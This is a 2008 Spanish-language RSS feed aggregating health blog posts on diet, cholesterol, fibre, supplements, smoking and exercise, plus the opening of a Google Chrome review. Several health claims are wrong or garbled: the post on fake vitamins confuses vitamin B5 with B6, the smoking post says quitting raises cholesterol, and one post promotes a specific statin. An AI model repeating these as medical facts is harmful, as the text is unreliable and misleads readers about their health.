Bitacoras.com: Geo Durango, México http://bitacoras.com/geo/mx/Durango Se muestran las ultimas 20 anotaciones para Geo Durango, México Copyright 2008 Wed, 01 Oct 2008 18:17:00 +0200 Bitacoras.com/2.0 http://bitacoras.com/public/images/logo.png Bitacoras.com: Geo Durango, México http://bitacoras.com/geo/mx/Durango Por: Raymundo Carrasco Arreola Vive sanamente (Pescados) http://sociedadsaludable.blogspot.com/2008/10/vive-sanamente-pescados.html http://sociedadsaludable.blogspot.com/2008/10/vive-sanamente-pescados.html Wed, 01 Oct 2008 18:17:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 01 de octubre de 2008 a las 18:17:00

Otra característica significativa de la dieta mediterránea es el reducido consumo de carnes en comparación con el de pescados. En los estudios llevados a cabo sobre los esquimales pobladores de Groenlandia, se descubrió que la incidencia de enfermedades cardiovasculares en estas poblaciones era prácticamente nula.
A pesar de que apenas consumían aceites vegetales, sus niveles de lipoproteínas de baja densidad (LDL) eran extremadamente bajos en comparación con los de lipoproteínas de alta densidad (HDL).
El alto contenido de ácidos grasos poliinsaturados de la serie omega-3 de los pescados grasos que consumían en grandes cantidades explicaron este hecho. Estos ácidos grasos son un componente fundamental de los fosfolípidos de las membranas celulares y un factor decisivo en su capacidad de llevar a cabo intercambios químicos. Información de la UNED.
- Raymundo Carrasco Arreola

Si quieres mas artículos como este, Subscribete a mi blog por email Ya!… Es gratis!

Etiquetas: Sin etiquetas

]]> Por: Raymundo Carrasco Arreola Aceite de oliva http://sociedadsaludable.blogspot.com/2008/09/aceite-de-oliva.html http://sociedadsaludable.blogspot.com/2008/09/aceite-de-oliva.html Mon, 29 Sep 2008 17:42:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 29 de septiembre de 2008 a las 17:42:00

En 1986, tras 15 años de trabajo con científicos de 7 países diferentes, el profesor A. Keys sacó a la luz el llamado Estudio de los 7 países. Este trabajo demuestra que la presencia de ácidos grasos insaturados en la dieta disminuye el riesgo de padecer obstrucciones en las arterias del corazón. También puso de relieve la relación directa entre los niveles de colesterol en sangre y la incidencia de infarto de miocardio, y entre la cantidad de grasas saturadas y los niveles de colesterol. El aceite de oliva virgen, ampliamente utilizado en la dieta mediterránea, tiene un 80 % de ácido oleico (monoinsaturado) y solo un 14 % de ácidos grasos saturados.

A partir de 1983, aparecieron publicados nuevos trabajos que completaban las investigaciones anteriores (Jacotot en Francia 1983, M. Oya y R. Carmena en España 1985, Mattson y Grundy en EE.UU. 1985). En pocas palabras, demostraban que los ácidos grasos monoinsaturados hacen aumentar la proporción entre el colesterol HDL y el LDL. También, se descubrió que el colesterol HDL tiene un marcado efecto protector frente a la acumulación de placas de ateroma en las paredes de las arterias. Los aceites de semillas (soja, girasol, etc.) tienen grandes cantidades de ácidos grasos poliinsaturados y pocos monoinsaturados. Aunque hacen descender el colesterol total en sangre, no aumentan la proporción de colesterol HDL frente al LDL, y no tienen por tanto el mismo efecto protector frente a las enfermedades cardiovasculares, que el aceite de oliva.

No son éstas las únicas ventajas del aceite de oliva. A pesar de tener pocos ácidos grasos poliinsaturados, tiene la suficiente cantidad para cubrir las necesidades diarias mínimas (unos 10 gr). Además, es más resistente a la oxidación (saturación de sus ácidos grasos) cuando se calienta que otros tipos de aceites vegetales, soportando sin cambios apreciables los 200 º C de temperatura, frente a los 100º C de media que soportan los aceites de semillas. Esto implica que podemos freír los alimentos con aceite de oliva sin temer que sus ácidos grasos se saturen.

El aceite de oliva también tiene un alto contenido de carotenos, vitamina E y propiedades colagogas y coleréticas. Gran parte de estas características se pierden al refinarlo, ya que el aceite se calienta a altas temperaturas en este proceso. Por este motivo, siempre preferiremos el aceite de oliva virgen de primera prensa en frío al refinado. Información de la UNED.
- Raymundo Carrasco Arreola

Si quieres mas artículos como este, Subscribete a mi blog por email Ya!… Es gratis!

Etiquetas: Sin etiquetas

]]> Por: Raymundo Carrasco Arreola La dieta mediterránea http://sociedadsaludable.blogspot.com/2008/09/la-dieta-mediterrnea.html http://sociedadsaludable.blogspot.com/2008/09/la-dieta-mediterrnea.html Sun, 28 Sep 2008 19:38:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 28 de septiembre de 2008 a las 19:38:00

Estudios llevados a cabo durante los últimos 30 años, pusieron de manifiesto que los países de la cuenca mediterránea: España, Italia, Francia, Grecia y Portugal tenían un menor porcentaje de infarto de miocardio y una menor tasa de mortalidad por cáncer.

Los investigadores, sorprendidos, buscaron las posibles causas y descubrieron que la dieta tenía un papel fundamental. A partir de entonces, se empezó a hablar de la dieta mediterránea como un factor a tener en cuenta en la prevención de estas enfermedades.

Tras este descubrimiento, los científicos fueron perfilando los elementos que definen la dieta mediterránea: pasta y arroz, verduras, legumbres, abundante fruta, aceite de oliva, poca carne y mucho pescado, pan integral, y todo sazonado con algunas especias como el ajo, el orégano, algo de pimienta y pequeñas cantidades de buen vino.

En un principio no se sabía a ciencia cierta por qué funcionaba tan bien esta determinada combinación de alimentos. Pero, poco a poco, los nuevos descubrimientos en bioquímica y nutrición humana desvelaron los secretos de una sabiduría milenaria. Información por la UNED.

- Raymundo Carrasco Arreola

Si quieres mas artículos como este, Subscribete a mi blog por email Ya!… Es gratis!

Etiquetas: Sin etiquetas

]]> Por: Raymundo Carrasco Arreola La clave para una vida saludable http://sociedadsaludable.blogspot.com/2008/09/la-clave-para-una-vida-saludable.html http://sociedadsaludable.blogspot.com/2008/09/la-clave-para-una-vida-saludable.html Fri, 26 Sep 2008 21:35:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 26 de septiembre de 2008 a las 21:35:00


La clave para una vida saludableLos expertos recomiendan comer diariamente, diversas frutas y verduras... de distintos colores. ¿Por qué?
En muchos países se está promoviendo un mayor consumo de frutas y verduras mediante programas especiales. Los expertos en nutrición y la Organización Mundial de la Salud (OMS) recomiendan tomar diariamente más de 400 gramos de esos valiosos alimentos. Y, no obstante ello, su consumo sigue siendo reducido para un gran número de personas.

Las frutas y verduras ofrecen todo un mundo de color. Las hay moradas, verdes, rojas, anaranjadas, amarillas, azules y blancas. Esas tonalidades son indicativo de una gran cantidad de nutrimentos que llenan de vitalidad.

Ambos dones de la naturaleza son de lo más saludable: bajas en calorías, están libres de colesterol y ayudan a mantenernos sanos y en forma. Y no sólo eso: además, las de colores vivos son una fantástica fuente de vitamina C, ácido fólico, minerales y fibra.

También proporcionan un amplio abanico de agentes fitoquímicos, sustancias que se encuentran en las plantas y que ayudan al cuerpo a combatir determinadas enfermedades y lo protegen contra los efectos del envejecimiento. Por eso los científicos estudian activamente sus efectos benéficos para la salud.

Según la OMS, podrían salvarse hasta 2.7 millones de vidas cada año sólo con aumentar el consumo de frutas y verduras. En otras palabras, el incluir frutas y verduras de distintos colores en la alimentación diaria se convierte en un asunto esencial para la salud. Con ello es posible reducir el riesgo de sufrir enfermedades cardiovasculares, derrames cerebrales y ciertos tipos de cáncer.

Para reforzar tu consumo de frutas y verduras. ¡deja volar tu imaginación!

Aquí te damos algunas sugerencias al respecto:

. Añade fresas frescas o congeladas a tus licuados, yogures, cereales, galletas, pasteles y ensaladas.

. Prepara ensaladas de frutas con uvas rojas, piña, trozos de melón, manzana, pera o plátano y mézclalos con yogur natural

. Prueba manzanas o peras asadas

. Cuando prepares una mermelada, sustituye el agua por un jugo de frutas

. Come frutas secas como ciruelas, pasas, manzanas, etcétera.

. Ten siempre un platón con fruta fresca en la mesa.

. Busca nuevas recetas de verduras que den colorido a tus comidas y botanas.

. Sirve, junto con las botanas típicas, zanahorias con jitomates cherry, pepino, coliflor, brócoli y pimiento. Los puedes poner crudos o asados y acompañarlos con un dip.

. Añade zanahoria gratinada, brócoli, espinacas y champiñones a tus pizzas.

. Aporta color a tu ensalada con elote, aguacate, corazones de alcachofa y pimientos verdes, rojos y amarillos.

. Añade a las sopas de pasta todas las verduras que tengas a la mano.

. Vuélvete una diseñadora o diseñador de tus propios platillos.
Información de Claudia Ramírez, El Universal.
- Raymundo Carrasco Arreola

Si quieres mas artículos como este, Subscribete a mi blog por email Ya!… Es gratis!

Etiquetas: Sin etiquetas

]]> Por: Raymundo Carrasco Arreola Fibra alimentaria – su función en una dieta sana http://sociedadsaludable.blogspot.com/2008/09/fibra-alimentaria-su-funcin-en-una.html http://sociedadsaludable.blogspot.com/2008/09/fibra-alimentaria-su-funcin-en-una.html Wed, 24 Sep 2008 16:30:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 24 de septiembre de 2008 a las 16:30:00

¿Qué es la fibra alimentaria?

La fibra alimentaria está formada por partes comestibles de plantas que nuestro intestino delgado es incapaz de digerir o absorber y que llegan intactas al intestino grueso. Entre ellas, se encuentran los polisacáridos distintos del almidón (por ejemplo, la celulosa, la hemicelulosa, las gomas y las pectinas), los oligosacáridos (por ejemplo, la inulina), la lignina y las sustancias vegetales asociadas (por ejemplo, las ceras y la suberina). El término fibra alimentaria comprende además un tipo de almidón conocido como almidón resistente (presente en legumbres, semillas y granos parcialmente molidos y algunos cereales de desayuno) porque resiste a la digestión en el intestino delgado y llega intacto al intestino grueso.

Fuentes de fibra alimentaria

La fibra alimentaria se encuentra en las frutas (pera, fresa, mora, frambuesa, grosella y naranja), las verduras (col de Bruselas, alcachofa, cebolla, ajo, maíz, guisantes, judías verdes y brécol, etc), las legumbres (lentejas, garbanzos, alubias, etc) y los granos de cereal enteros (salvado de trigo, de avena, pan de cereales integrales o multi-cereales, etc).

Tipos de fibra alimentaria

A menudo, la fibra alimentaria se clasifica según su solubilidad, en fibra soluble o insoluble. Ambos tipos de fibra se encuentran en distintas proporciones en los alimentos que contienen fibra. La avena, la cebada, las frutas, las verduras y las legumbres son buenas fuentes de fibra soluble. Los cereales integrales y el pan integral son fuentes ricas en fibra insoluble.

La fibra alimentaria y la salud

La fibra alimentaria ingerida avanza por el intestino grueso, donde es fermentada parcial o totalmente por las bacterias intestinales. Durante el proceso de fermentación, se forman diversos subproductos, ácidos grasos de cadena corta y gases. Los efectos beneficiosos para la salud de la fibra alimentaria se derivan de la acción combinada del proceso de fermentación y de los subproductos resultantes.

Los principales efectos fisiológicos atribuidos a la fibra alimentaria afectan a:

• La función intestinalLa fibra alimentaria, especialmente la fibra insoluble, ayuda a prevenir el estreñimiento al incrementar el peso de las heces y a reducir la duración del tránsito intestinal. Este efecto es aun mayor si el consumo de fibra se acompaña de un aumento de la ingesta de agua.Los ácidos grasos de cadena corta, producidos cuando la fibra fermenta por la acción de las bacterias intestinales, son una fuente importante de energía para las células del colon y pueden inhibir el crecimiento y la proliferación de células cancerígenas en el intestino. Al mejorar la función intestinal, la fibra alimentaria puede reducir el riesgo de enfermedades y trastornos, tales como la enfermedad diverticular o las hemorroides y puede tener un efecto protector frente al cáncer de colon.

• Los niveles de glucosa en la sangreLa fibra soluble puede ralentizar la digestión y la absorción de hidratos de carbono y, por consiguiente, reducir la subida de la glucosa en la sangre que se produce después de comer (postpandrial) y la respuesta insulínica. Esto puede contribuir a que las personas diabéticas tengan un mejor control de la glucemia.

• El colesterol sanguíneoLos resultados de varios estudios epidemiológicos revelan otra función de la fibra alimentaria en la prevención de la enfermedad cardiaca coronaria (ECC), la de mejorar los perfiles de lípidos en la sangre. Los ensayos clínicos confirman los resultados de dichos estudios. La fibra de consistencia viscosa, como la pectina, el salvado de arroz o el de avena, reducen el colesterol sérico total y el nivel de colesterol LDL (de lipoproteína de baja densidad o colesterol malo). Entre tanto, las investigaciones siguen demostrando que una dieta con un elevado contenido de fibra alimentaria de origen mixto también protege contra la ECC.

• Otros efectosAunque la prevención del estreñimiento, la mejora de los niveles de glucosa en sangre y los perfiles de lípidos en la sangre son los principales efectos beneficiosos derivados de una dieta rica en fibra alimentaria, no hay que olvidar otras consecuencias positivas. Por ejemplo, dado que la fibra aumenta el volumen de la dieta sin añadir calorías, puede tener un efecto saciante y ayudar así a controlar el peso.

Para beneficiarse de todos los efectos de la fibra es importante variar las fuentes de fibra en la dieta. Las dietas con frutas, verduras, lentejas o alubias y cereales integrales no sólo proporcionan fibra alimentaria, sino que aportan además otros nutrientes y componentes alimentarios fundamentales para una salud óptima.

Referencias

Anonymous. Position of the American Dietetic Association: Health implications of dietary fibre. Journal of the American Dietetic Assoc. July 2002; Vol. 7: 993-1000.
Bessesen, D.H. The Role of Carbohydrates in Insulin Resistance. Journal of Nutrition (2001)131: 2782S – 2786S.
De Vries, J. On defining dietary fibre. Proc. of the Nutrition Society (2003): 62, 37-43.
Lupton, J.R., Turner, N.D. Dietary Fibre and Coronary Disease: Does the evidence support an association? Current Atherosclerosis Reports (2003): 5, 500-505.
Carbohydrates: Nutritional and health aspects. 2003 ILSI Europe Concise Monograph Series. ILSI Press.

- Raymundo Carrasco Arreola

Si quieres mas artículos como este, Subscribete a mi blog por email Ya!… Es gratis!

Etiquetas: Sin etiquetas

]]> Por: Raymundo Carrasco Arreola Vitaminas que no lo son http://sociedadsaludable.blogspot.com/2008/09/vitaminas-que-no-lo-son.html http://sociedadsaludable.blogspot.com/2008/09/vitaminas-que-no-lo-son.html Tue, 23 Sep 2008 17:47:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 23 de septiembre de 2008 a las 17:47:00

El desconocimiento, y en algunos casos el afán de lucro, han llevado a etiquetar como vitaminas a sustancias que en realidad no lo son, bien porque no son relevantes para nuestro metabolismo o bien porque podemos sintetizarlas en cantidades suficientes para cubrir nuestras necesidades.En el inicio de los estudios sobre vitaminas existió una cierta confusión , aplicándose a veces distintos nombres a la misma vitamina. Tal es el caso de la llamada "vitamina B5", que es en realidad la misma que la B6, la "vitamina B3", que es una mezcla de niacina y ácido pantoténico o la "vitamina M", que es el ácido fólico.

Actualmente, algunos vendedores de "alimentos saludables" intentan hacer creer que una serie de sustancias que ellos comercializan son vitaminas. Es falso, un fraude, y en algunos casos además un peligro para la salud.

Algunas de estas supuestas vitaminas son:

Vitamina F En realidad se trata de dos ácidos grasos, el ácido linoleico y el linolénico. No podemos sintetizarlos, y son necesarios para nuestro metabolismo, pero no son vitaminas. Se encuentran en mayor o menor proporcion en todas las grasas naturales.

Vitamina B15, o ácido pangámico, una sustancia presente en la mayoría de las semillas, pero irrelevante para nuestro organismo. Aunque es totalmente inútil, en principio no es tóxico, aunque se han encontrado lotes que contenían sustancias carcinógenas. La FDA (organismo encargado del control alimentario en USA) prohibió su venta en los Estados Unidos.

Vitamina B17, o amigdalina, que no solamente no es una vitamina, ni tiene ningún papel metabólico en el ser humano, sino que es una sustancia muy tóxica, ya que en el estómago desprende cianuro. Se han producido varias muertes por su ingestión. Al demostrarse su toxicidad, los vendedores, para no perder el negocio, empezaron a recomendarla como una supuesta cura contra el cancer, lo que es falso, y le costó una condena a prisión es Estados Unidos a uno de ellos. Su comercialización está prohibida en Europa y en Estados Unidos. Fue "descubierta" por los mismos que "descubrieron" la supuesta (y también falsa) vitamina B15.

La falta de escrúpulos de algunas personas, que incluso se hacen pasar falsamente por medicos o investigadores cientificos; hace que se venda de forma semiclandestina en algunos países y a travé de Internet. Muchos de estos productos, especialmente los fabricados en algunos países de Sudamérica, unen a los riesgos de la intoxicació&n por cianuro la presencia de contaminantes y de bacterias. Un informe detallado sobre la ineficacia y riesgos de esta sustancia, en inglés, se encuentra en la página del del National Cancer Intitute Inositol Esta sustancia es una vitamina para algunos insectos y bacterias, y los ratones pierden pelo si su dieta no lo contiene. Sin embargo, los humanos podemos fabricar todo el que precisemos. La afirmación de que sirve para prevenir la calvicie, basada en el efecto de su carencia en los ratones es un fraude (chistoso, pero fraude).

PABA, siglas del ácido para-amino benzoico. Es esencial para algunas bacterias, pero totalmente innecesario para el ser humano.

Acido orótico. Es un intermedio metabólico que podemos sintetizar en las cantidades que necesitemos.

Lecitina Un tipo de fosfolípido, con propiedades emulsionantes, utilizado como aditivo alimentario ( su código es el E- 322) . Nuestro organismo es capaz de sintetizar todos los fosfolípidos que necesita. Se ha llegado a decir que es un adelgazante. En realidad es una grasa, y como tal, aporta calorías (es decir, engorda)

Carnitina. No es una vitamina. Nuestro organismo puede fabricar toda la que precise.

Taurina Esta sustancia es esencial para los gatos, y puede que para los niños recien nacidos, ya que la leche humana contiene mas que la de otras especies. Por esta razon se añade a las leches destinadas a alimentación infantil. Informacion de Miguel Calvo dee l aUniversidad de Zaragoza.
- Raymundo Carrasco Arreola

Si quieres mas artículos como este, Subscribete a mi blog por email Ya!… Es gratis!

Etiquetas: Sin etiquetas

]]> Por: Raymundo Carrasco Arreola Nutrición (Proteína) http://sociedadsaludable.blogspot.com/2008/09/nutricin-protena.html http://sociedadsaludable.blogspot.com/2008/09/nutricin-protena.html Mon, 22 Sep 2008 16:45:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 22 de septiembre de 2008 a las 16:45:00

La palabra proteína procede de la palabra griega “protos”, que significa primer elemento. Las proteínas son elementos esenciales para el crecimiento y la reparación, el buen funcionamiento y la estructura de todas las células vivas.
Las hormonas, como la insulina, controlan el nivel de azúcar en la sangre; las enzimas, como las amilasas, las lipasas y las proteasas, son cruciales para la digestión de los alimentos; los anticuerpos nos ayudan a combatir las infecciones; las proteínas musculares permiten la contracción, etc. Por lo tanto, las proteínas son efectivamente esenciales para la vida.
Fuentes dietéticas

Las proteínas se encuentran en distintos alimentos. Las fuentes animales de proteínas como la carne, el pescado, los huevos, la leche, el queso y el yogur, proporcionan proteínas de alto valor biológico.
Los vegetales como las legumbres, los cereales, los frutos secos, las semillas y las verduras proporcionan proteínas de escaso valor biológico. Sin embargo, como el aminoácido limitante suele ser distinto en proteinas procedentes de distintos vegetales, la combinación de distintas fuentes vegetales en la misma comida (por ejemplo, legumbres con cereales) a menudo constituye una mezcla de mayor valor biológico. Estas combinaciones suelen encontrarse en las recetas culinarias tradicionales de todos los continentes (por ejemplo, alubias con arroz, pasta o mandioca; garbanzos con pan; lentejas con patatas, etc.).

Las dietas omnívoras (con alimentos derivados tanto de animales como de plantas) del mundo desarrollado proporcionan cantidades adecuadas de proteínas. Sin embargo, los subgrupos de la población que no consumen productos de origen animal pueden tener dificultades para satisfacer sus necesidades proteicas. Información por EUFIC.
- Raymundo Carrasco Arreola

Si quieres mas artículos como este, Subscribete a mi blog por email Ya!… Es gratis!

Etiquetas: Sin etiquetas

]]> Por: Raymundo Carrasco Arreola Checando el colesterol http://sociedadsaludable.blogspot.com/2008/09/checando-el-colesterol.html http://sociedadsaludable.blogspot.com/2008/09/checando-el-colesterol.html Sun, 21 Sep 2008 18:01:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 21 de septiembre de 2008 a las 18:01:00

Uno de los factores de riesgo más común son los altos niveles de colesterol que tiene el 30.5% de la población de entre 20 a 69 años en México, lo que sin duda pone en alerta roja tanto a autoridades médicas como a la población en general. No hay fórmulas mágicas, el tratamiento para el colesterol es integral y un alto porcentaje logra mejorar con los cambios en alimentación, estilo de vida y dejar de fumar.

Sin embargo, en ocasiones es necesario incluir medicamentos cuando los niveles de colesterol malo (LDL) no reducen y tampoco aumentan lo del HDL. Una opción que ha dado resultado es la rosuvastatina, el único medicamento en el mercado mexicano, que además de disminuir los niveles de colesterol malo (LDL), aumenta hasta un 15% el colesterol bueno (HDL), así como reduce la placa de grasa en las arterias.

La rosuvastatina es la primera y única en México aprobada por la Secretaría de Salud y la Federal Drug Administration (FDA) en obtener la indicación para el tratamiento y prevención para reducir la placa de grasa en las arterias.En conclusión, tenga conciencia de lo que haga hoy, le permitirá vivir sanamente y le evitará una cirugía o vivir con complicaciones en el corazón de manera permanente. Recuerde que nunca es tarde para empezar.

- Raymundo Carrasco Arreola

Si quieres mas artículos como este, Subscribete a mi blog por email Ya!… Es gratis!

Etiquetas: Sin etiquetas

]]> Por: Raymundo Carrasco Arreola Tabaco http://sociedadsaludable.blogspot.com/2008/09/tabaco.html http://sociedadsaludable.blogspot.com/2008/09/tabaco.html Fri, 19 Sep 2008 21:12:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 19 de septiembre de 2008 a las 21:12:00

Fumar es uno de los factores de riesgo más importantes de controlar. El tabaco causa una quinta parte de las enfermedades cardiovasculares a nivel mundial. Si la tendencia actual persiste, para el año 2030 diez millones de personas morirán por enfermedades relacionadas al tabaco, de las cuales el 70% ocurrirán en países desarrollados.

Dejar de fumar ayuda a mantener un corazón joven, ya que aumenta los niveles de colesterol en la sangre y niveles de baja densidad de lipoproteína (colesterol malo LDL). Se estima que entre el 40% y el 66% de la población adulta en el mundo tiene niveles de colesterol por afuera de las deseables, lo cual significa que están en alto riesgo de enfermedades cardiovasculares.

- Raymundo Carrasco Arreola

Si quieres mas artículos como este, Subscribete a mi blog por email Ya!… Es gratis!

Etiquetas: Sin etiquetas

]]> Por: Raymundo Carrasco Arreola Muévase, vivir saludable http://sociedadsaludable.blogspot.com/2008/09/muvase-vivir-saludable.html http://sociedadsaludable.blogspot.com/2008/09/muvase-vivir-saludable.html Wed, 17 Sep 2008 20:34:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 17 de septiembre de 2008 a las 20:34:00

El siguiente paso es tratar de tener actividad física regular por lo menos 30 minutos al día. El IMSS reconoce que la actividad física mejora el trabajo del corazón, disminuye la presión arterial y el riesgo de tener infartos, reduce los niveles de azúcar y grasa en la sangre y le ayuda a bajar de peso. Además disminuye la tensión nerviosa, favorece el aprendizaje, le ayuda al autoestima y la sensación de bienestar en general.

El ejercicio aeróbico es el que mejores beneficios aporta a la salud, ya que exige una demanda de oxígeno continua y la movilización de grandes músculos, al realizarlo de manera constante, aumenta la masa muscular y normaliza los niveles de grasa en sangre ayudando a mantener limpias y flexibles las arterias Entre los ejercicios aeróbicos más comunes están: caminar, trotar, bailar, correr, nadar, andar en bicicleta, remar o hacer gimnasia.

Si está iniciando una rutina, los especialistas recomienda comenzar con 10 minutos al día, aumentando poco a poco hasta alcanzar 30 minutos. Utilice ropa cómoda, evite hacer ejercicio en ayunas y hágalo a las tres horas después de haber ingerido alimentos.
- Raymundo Carrasco Arreola

Si quieres mas artículos como este, Subscribete a mi blog por email Ya!… Es gratis!

Etiquetas: Sin etiquetas

]]> Por: Raymundo Carrasco Arreola Cuándo y cómo comer http://sociedadsaludable.blogspot.com/2008/09/cundo-y-cmo-comer.html http://sociedadsaludable.blogspot.com/2008/09/cundo-y-cmo-comer.html Wed, 17 Sep 2008 00:47:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 17 de septiembre de 2008 a las 00:47:00

Incluya en su dieta diaria abundantes frutas y verduras (no jugos de frutas) como: espinacas, zanahorias, duraznos y bayas como las uvas, productos de trigo y avena, carnes ligeras de grasa, pescados; productos con bajo nivel de grasa o sin grasa; margarinas no saturadas y aceites como el maravilla y oliva.

Esté pendiente del contenido calórico de los alimentos, de las porciones que se consumen típicamente y de los requerimientos calóricos.

Prepare frutas y vegetales con una pequeña porción de grasa saturada. Elija alimentos ricos en fibra de granos enteros. Consuma al menos dos veces a la semana dos porciones de pescado especialmente aquellos ricos en ácidos grasos omega 3 (salmón, trucha, arenque).

Un modo excelente de mejorar su dieta y estilos de vida es seguir las recomendaciones de los nutriólogos, es decir, tomar alimentos por lo menos cada 5 horas, pero en porciones moderadas.

- Raymundo Carrasco Arreola

Si quieres mas artículos como este, Subscribete a mi blog por email Ya!… Es gratis!

Etiquetas: Sin etiquetas

]]> Por: Raymundo Carrasco Arreola Riesgos de Medicinas por Internet http://sociedadsaludable.blogspot.com/2008/09/riesgos-de-medicinas-por-internet.html http://sociedadsaludable.blogspot.com/2008/09/riesgos-de-medicinas-por-internet.html Mon, 15 Sep 2008 19:59:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 15 de septiembre de 2008 a las 19:59:00

WASHINGTON, DC.

De acuerdo con la Agencia Federal de Alimentos y Medicinas (FDA), en los últimos años ha aumentado el número de páginas de internet que venden medicina. El año pasado, una investigación de esa agencia identificó que muchos medicamentos extranjeros, que se venden bajo los mismo nombres que en este país, contienen ingredientes activos diferentes a los que tienen en Estados Unidos.

"No llevamos información de cuántas personas compran medicina por internet", dijo Sandy Walsh, portavoz de FDA en Washington. Pero aseguró que algunas de estas páginas no son farmacias registradas y no tiene permiso para vender ningún tipo de medicina.

"Cuando se trata de comprar medicina por internet hay que tener mucho cuidado. La FDA recomienda solo comprar medicinas en farmacias localizadas en Estados Unidos y que tengan licencia. Algunas páginas de internet venden medicinas y drogas que quizás no son seguras para consumir y pueden poner la salud en riesgo", dijo Sandy Walsh, portavoz de FDA en Washington.
La medicina que se vende por internet puede llegar a ser falsificada o adulterada, o quizás puede ser muy fuerte o tener muy bajas concentraciones. Algunos sitios ofrecen diagnósticos equivocados.

Walsh dijo que aunque el internet ha cambiado la manera en que las personas viven y hasta cómo compran, el avance de este ha hecho posible que se pueda comparar precios y comprar productos sin tener que salir de la casa. Pero cuando se usa para comprar medicinas, es importante tener mucho cuidado.

La FDA dice que es seguro comprar en la Web, si se hace a través de una farmacia registrada en Estados Unidos. Se puede identificar si una farmacia es reconocida en la página de la National Association of Boards of Pharmacy http://www.nabp.net/.

John Sutter, médico general quien trabaja en el hospital de Washington DC, asegura que es entendible que la gente haga este tipo de cosas. Pero si alguien lo hace, es importante que se asegure que por lo menos compra medicinas en la página de internet de una farmacia reconocida. Pero Sutter también hace eco de la recomendación de la FDA.

"Muchas veces se dice que las pastillas vienen de Canadá, ¿pero cómo la gente sabe que sí son de Canadá?. Hay muchas pastillas que se están produciendo en China o India, y quizás no funcionen como debería ser", dijo Sutter.

Sutter sugiere a los consumidores visitar al doctor para verificar que la pastilla que han tomado es la adecuada.

"Por ejemplo, si una persona está tomando medicamento para la presión alta y esta es normal, entonces es que sí está tomando la adecuada", dijo.

Sutter recomendó a las personas evitar comprar medicina por internet, cuando alguien padece de cáncer, para tratamientos como la quimioterapia, también medicamentos para tratar infecciones como antibióticos

Según la FDA, es ilegal comprar drogas de prescripción desde otros países.
"Debido a que esto es en otro país nosotros no podemos certificar que tan seguras son estas. Estamos muy preocupados por esta situación", dijo Walsh. informacipon de La Opinion
-Raymundo Carrasco Arreola


Si quieres mas artículos como este, Subscribete a mi blog por email… Es gratis!

Etiquetas: Sin etiquetas

]]> Por: Raymundo Carrasco Arreola Calidad de Vida http://sociedadsaludable.blogspot.com/2008/09/calidad-de-vida.html http://sociedadsaludable.blogspot.com/2008/09/calidad-de-vida.html Sun, 14 Sep 2008 19:34:00 +0200 sin etiquetas Por Por: Raymundo Carrasco Arreola en Raymundo Carrasco Arreola el 14 de septiembre de 2008 a las 19:34:00

Ayudar a nuestro corazón nos permite tener una mejor calidad de vida

No hay alimentos prohibidos, sólo hay que saber cuáles y cuánto

El corazón es un músculo que necesita ejercicio para mantener la sangre bombeando eficientemente con cada pulsación. La actividad física regular y su impacto en factores de riesgos asociados, ayudan a hacer más lenta la estrechez de las arterias del corazón y cerebro, ayuda a reducir la presión alta, mejora los niveles de colesterol (al aumentar el nivel de HDL) y mantiene niveles normales de glucosa en la sangre. Tan es así que se ha encontrado que los corazones de los atletas veteranos entre los 50 y 70 años de edad son tan fuertes y saludables como los de sujetos inactivos de 20 años de edad.

Pero no se preocupe, nunca es tarde para comenzar a tener una vida saludable. Cualquier persona puede hacer cambios en su estilo de vida para beneficiarse a sí mismo y alcanzar sus metas. Estos cambios pueden ser pequeños, sin embargo para que sean efectivos deben ser constantes. Actualmente, los niveles de colesterol son utilizados como marcadores de riesgo para el corazón, por lo que se recomienda mantener el colesterol malo (LDL) en un nivel inferior a 100 mg/dl y el colesterol bueno (HDL) por arriba de 40 mg/dl en hombres y superior a 50 mg/dl en mujeres.

El Dr. José Luís Cervantes Escárcega, cardiólogo internista señaló que la inactividad física contribuye significativamente al envejecimiento del corazón, lo que afecta en el desarrollo de sobrepeso, obesidad, diabetes e hipertensión.
- Raymundo Carrasco Arreola
Si quieres mas artículos como este, Subscribete a mi blog por email… Es gratis!

Etiquetas: Sin etiquetas

]]> Mixel Adm Los programas:Probando Google Chrome http://mixelandia.com/2008/09/los-programas-probando-google-chrome.php http://mixelandia.com/2008/09/los-programas-probando-google-chrome.php Tue, 02 Sep 2008 22:21:25 +0200 programas chrome computacion cosas google Por Mixel Adm en Mixelandia el 02 de septiembre de 2008 a las 22:21:25

Leyendo esta entrada y esta otra en UBH, vi que Google acababa de sacar su nuevo navegador, llamado chrome, así que lo baje y lo instale, para ver que tal funcionaba y probarlo con mis webs, recordemos que tenemos que estar al día.
chrome1.PNG
Click en la imagen para ver más grande

Como podemos observar la interfaz es muy vistosa, en un azul que me recuerda a la paleta de colores del office 2003, pero que a diferencia de la mayoría de los navegadores, la interfaz es minimalista, es decir te quita muy poco espacio.

Una cosa que al menos para mi es novedosa en navegadores en Windows, es el hecho de que utilice un skin para la ventana, lo que le permite deshacerse de la barra de titulo que suelen tener las ventanas normales, y es en este lugar donde ahora tenemos las pestañas que suelen estar por debajo de la barra de direcciones.




Tampoco tiene barra de estado, simplemente hay un tool tip que aparece y desaparece con la información de los elementos que se están cargando o del enlace sobre el cual tienes el puntero del mouse.



chrome3.PNG
